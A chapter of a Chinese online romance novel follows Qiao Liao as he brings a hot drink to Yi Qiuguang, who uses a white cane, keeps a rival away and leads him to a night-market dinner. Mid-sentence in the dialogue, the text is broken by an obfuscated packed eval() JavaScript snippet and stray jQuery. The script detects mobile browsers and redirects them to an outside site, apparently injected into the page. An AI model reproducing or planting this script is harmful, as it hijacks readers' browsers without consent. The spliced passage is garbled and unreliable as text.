28. 热饮

作品:《看见你说

    易秋光也没说他什么时候下班,乔辽只能随时准备着。


    穿搭没问题,发型没问题,手机满电,助听器和耳蜗也能坚持很长时间。


    要是今晚还有借宿环节,那他就能保证自己的世界不会失去声音。


    乔辽就这么穿戴整齐地在家里走来走去,时间走到八点,他估计着易秋光也快结束了,干脆换上鞋,出门叫了辆车。


    直接去工作室。


    这一路上,乔辽时不时就会看向手机,可这手机就跟坏了一样,屏幕不亮也不振动。


    当他下了车,手机还是没有任何反应。


    他走在去往工作室的路上,今晚起了风,吹到身上还有些冷,乔辽干脆进了一家便利店,给易秋光买了一杯热饮。


    正当他出钱的时候,手机振动一下,易秋光发来消息:故听老师,我已经下班了,你想去哪里吃饭?


    乔辽赶紧点开付款码,出了钱拿上热饮就往工作室门口走,他边走边打字回复:你想吃什么?


    距离工作室门口还有两分钟,易秋光回复:是我请你吃,吃你喜欢的就行。


    乔辽说:我不挑食。


    距离工作室门口还有一分钟,那栋小三层离他越来越近,乔辽看见三楼的灯关了几盏,接着就是二楼。


    在他走到工作室门口的时候,小三层的灯全都熄灭,紧接着,他看见了易秋光和捕山月。


    捕山月握着易秋光的胳膊,笑着在和他说什么,易秋光拿着手机,脸上也是带着笑的。


    易秋光今天穿了件薄毛衣,外面套着一件纯色外套,这人的头发似乎也长了些,乔辽其实不太确定,估计是太长时间不见,他总觉得,易秋光好像变了不少。


    唯一不变的地方,是这人依旧让乔辽移不开视线。


    手中的热饮被乔辽握得更紧,他加快脚步,走到那两人跟前,露出笑容。


    “三季老师,”乔辽说完这句,又看向一边的捕山月,脸上的笑也收了起来,“捕山月老师。”


    “你怎么来了?”捕山月还准备再说些什么。


    易秋光打断他的话,说道:“是我约了故听老师一起吃饭。”


    捕山月“哦”了声:“那我也去。”


    “我订好地方了,”为了避免捕山月跟来,乔辽一开口就是胡说,“两个人的位置,今天可能带不了捕山月老师了,下次吧。”


    别下次了,下次也是两个人的位置,捕山月,你小子想都别想。


    “那我开车送你们去,”捕山月的手还是握着易秋光胳膊,“这样比较方便。”


    首先,乔辽没有订餐厅。


    其次,满大街的出租车,干嘛非要这个人送。


    “不用了,”乔辽瞥了眼捕山月的手,“我和三季老师打车去就行。”


    这话一说出来,场面一下子就变得十分沉默,捕山月不肯松手,乔辽也不可能改变主意。


    但还好,易秋光开口了。


    他偏头望向捕山月,笑着说道:“那你就先回去吧,今天你也忙一天了,回去好好休息。”


    捕山月看着挺不情愿的,他叹出一口气,小声问易秋光:“真的不需要我送吗?”


    “真不用了。”易秋光说。


    “那……明天早上我去接你,给你带早饭,”捕山月终于放开了手,他看向乔辽,客气地说了句,“故听老师,那我就先走了。”


    走吧,赶紧的。


    开车走,飞快地走,速度。


    乔辽抬手对着捕山月挥了挥,就当作是答复了,他带着易秋光站在工作室门口,看着捕山月上了车。


    这人开车驶出院子时,还减慢车速冲着易秋光说了声:“你早点回去啊。”


    “知道了。”易秋光说。


    当车尾灯从乔辽眼里消失,他心里也算是踏实不少,至少现在,这个捕山月不会再回来了。


    “故听老师,”易秋光望向乔辽的方向,“我们也走吧,去吃饭,你订的餐厅在哪里?”


    乔辽瞥了盲杖一眼,他现在是故听,就算他做错了什么,易秋光也不会用盲杖打他。


    应该不会。


    于是,乔辽也没什么好怕的了。


    他拿出手机打开叫车软件,问易秋光:“你想去哪里吃?我叫辆车,你先拿着这个。”


    热饮有些冷了,但还是能摸出温度,喝进去应该还是温热的,他把直饮口的盖子揭开,拉起易秋光的手,把热饮递到易秋光手心。


    “喝一点吧,”乔辽说,“还热着。”


    易秋光明显愣了一下,下一秒又笑起来,笑得露出了那颗虎牙。


    “谢谢,”易秋光喝上一口,笑着问乔辽,“你不是订位置了吗,我们直接去就可以了。”


    “没订,”乔辽松开手,低头胡乱扒拉着手机,视线再次瞥向盲杖,“我是不想让捕山月跟着,故意那么说的。”


    易秋光挑了挑眉,拉长语调“哦”了声,他给乔辽说了个地址,然后问道:“为什么?”


    这个地址离乔辽家挺近,步行十几分钟就能回去。


    “什么为什么。”乔辽叫好车,把手机揣进口袋里,低头把脚边的小石子踢到一边。


    “为什么不想让捕山月跟着?”易秋光轻移盲杖,碰上乔辽的鞋,“你嫌他吃得多?”


    “还好吧,”乔辽说,“我吃得比他多。”


    “那是为什么?”易秋光往他边上挪了一步,偏着头又问,“你们两个是有什么矛盾吗,工作上的?”


    一阵风吹了过来,易秋光的头发也被吹得动了动,乔辽低着头,往旁边挪了一步,他也学着易秋光的动作,微偏着头。


    只要这样,就能轻碰上易秋光的头发。


    感谢风,能让他们在此刻有这样短暂的接触。


    乔辽感受着侧脸被头发碰上的酥痒,一时沉默不知道该怎么回答易秋光的话。


    太久没得到回应的易秋光动了动盲杖,乔辽也不让开,就那么站在原地,任由易秋光用盲杖一次又一次地碰上他的鞋。


    两年前的易秋光也会这样,只要他用盲杖碰碰乔辽,就是询问的意思。


    可以是“你还在吗”,或者是“你觉得呢”,而现在,他能听见。


    于是,在下一次被盲杖碰上鞋的时候,乔辽听见易秋光说:“你怎么不说话啊……和捕山月的矛盾那么大吗?”


    “不大,”乔辽看着易秋光,轻声说道,“我不想让他和你待在一起,只想让你和我待在一起。”


    这句话刚说出口,乔辽心里就猛地一紧,脱口而出的话带着莫名的情绪,可他现在凭什么说出这种话。


    好在易秋光没再追问,叫的车也正好停在路边,他们一起上了车,往目的地去,这一路上,易秋光一句话都不说,乔辽则是一直看着他。


    车窗开着一点缝隙,有风进来但不算冷。


    易秋光就这么微偏着头,对着窗外,任由风吹着他的头发,他大概是偏头在听着什么,乔辽看见这人嘴角勾起,心情似乎还算不错。


    一个拐弯后,车缓缓停下,易秋光打开车门下车,乔辽跟在后面下了车。


    俩人站在路边,乔辽先是扒拉两下手机付了车费,接着就开始搜附近有什么吃的,易秋光往左右望了望,最后有些不确定地往右边指了指:“那边是不是夜市?”


    乔辽抬头往他手指方向那边望,就和易秋光说的一样,那边确实是夜市一条街,看着还挺热闹的。


    这地方他没来过,但点过这边的外卖。


    “是夜市,”乔辽问他,“但你晚上不饿吗,小吃不抗饿。”


    “谁说要去吃小吃了,再说了,是我请你吃饭,请你吃小吃也太不像回事了,”易秋光往夜市那边指了指,“那边有一家很好吃的铁板烧,你想吃吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140562|196308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    既然是易秋光选择的,那就肯定是这人爱吃的,只要是易秋光爱吃的,乔辽就没有拒绝的理由。


    更何况,他也不挑食。


    乔辽说:“想吃。”


    “我保证你会喜欢那家铁板烧的,”易秋光收起盲杖递给乔辽,紧接着,他拉住了乔辽的胳膊,“故听老师,你带我过去吧,夜市人太多了,我怕和你走散,更何况我手里还拿着一杯喝的。盲杖就交给你了,我把自己,也交给你。”


    从这里到夜市需要走一段路,再过一条马路,他们慢慢往那边走着,从身边路过的人群里,有牵着手的年轻情侣,还有挽着彼此胳膊的白头夫妻。


    在人群中,乔辽和易秋光算不上起眼。


    但乔辽却好想让所有人都知道,易秋光的手正握着他的胳膊。


    他正带着易秋光往前走。


    绿灯还剩下最后几秒,他们也走到了马路对面,易秋光轻捏两下乔辽胳膊,问他:“你看见一家二十四小时便利店了没?”


    “我看看,”乔辽往两边看了看,确定位置后,带着易秋光往那边走,“铁板烧在便利店旁边吗?”


    “在那附近,”易秋光笑着说,“我想去便利店买杯喝的。”


    乔辽瞥向易秋光手里那杯热饮,应该是还没喝完,怎么突然又要再买一杯,是因为不好喝吗。


    那也不应该啊,乔辽是按照易秋光喜好买的,按道理说,他应该会喜欢这种口味,除非在他们分开的那两年里,易秋光喜欢的东西都变了。


    他们一起迈步走进店门,店内响起了“欢迎光临”的电子提示音。


    易秋光往前走了两步,轻轻捏了捏乔辽胳膊,问道:“你买的这杯热饮很好喝,我还想买一杯等会儿吃饭喝,这家店里有卖的吗?”


    听见这句话的那一瞬,乔辽心里都跟着踏实不少。


    还好。


    易秋光还是他认识的那个易秋光。


    尽管在外人眼里,在易秋光眼里,他只是故听,是那个因为一本小说,一部广播剧而认识的人。


    但在乔辽心里,他对于易秋光喜好的了解,就像是一根缠绕着亲密关系的线。


    这根线是乔辽向易秋光表达爱意的方式。


    乔辽把没办法开口说出的爱意变成实物,一个劲地,把易秋光喜欢的东西递到他手里。


    易秋光的喜好,都是乔辽一次又一次试出来的,他每次都会去观察易秋光的表情。


    一般喜欢和特别喜欢是不一样的。


    没那么喜欢的时候,易秋光只会抿着嘴笑,眉头还会微皱,但在特别喜欢的时候,易秋光会笑得露出那颗虎牙,每当那种时刻,乔辽也会跟着他一起笑起来。


    而现在,乔辽再次从易秋光脸上看到了那种笑容。


    “有的,”乔辽也跟着笑起来,“你就站在这儿,我拿完就过来,很快。”


    “带着我一起,”易秋光没有放开手,而是伸手乱指一通,“往哪边走?这边还是那边?”


    乔辽握住他伸出去的那只手,带着那只手找到正确方向,几步路后,乔辽带着他停了下来。


    “我拿了一杯,”乔辽问他,“你还需要买什么吗?”


    “要不,你也喝一杯吧,”易秋光笑着说,“真的很好喝,我想让你也尝尝。”


    乔辽确实没喝过这个牌子,但这个口味他还是喝过的。


    两年前的易秋光就喜欢这种味道,他每次都会给乔辽尝上几口,然后再伸手去轻点乔辽的嘴角,询问他是不是很好喝。


    在那种时候,乔辽就会握住易秋光的手,捏一捏他的大拇指,告诉他,自己也很喜欢。


    易秋光脸上的笑容还是依旧,乔辽只是像这样看着他,就会觉得十分满足。


    “好,那我也尝尝,”乔辽又拿上一杯热饮,“只要是三季老师喜欢的,那肯定就是最好喝的。”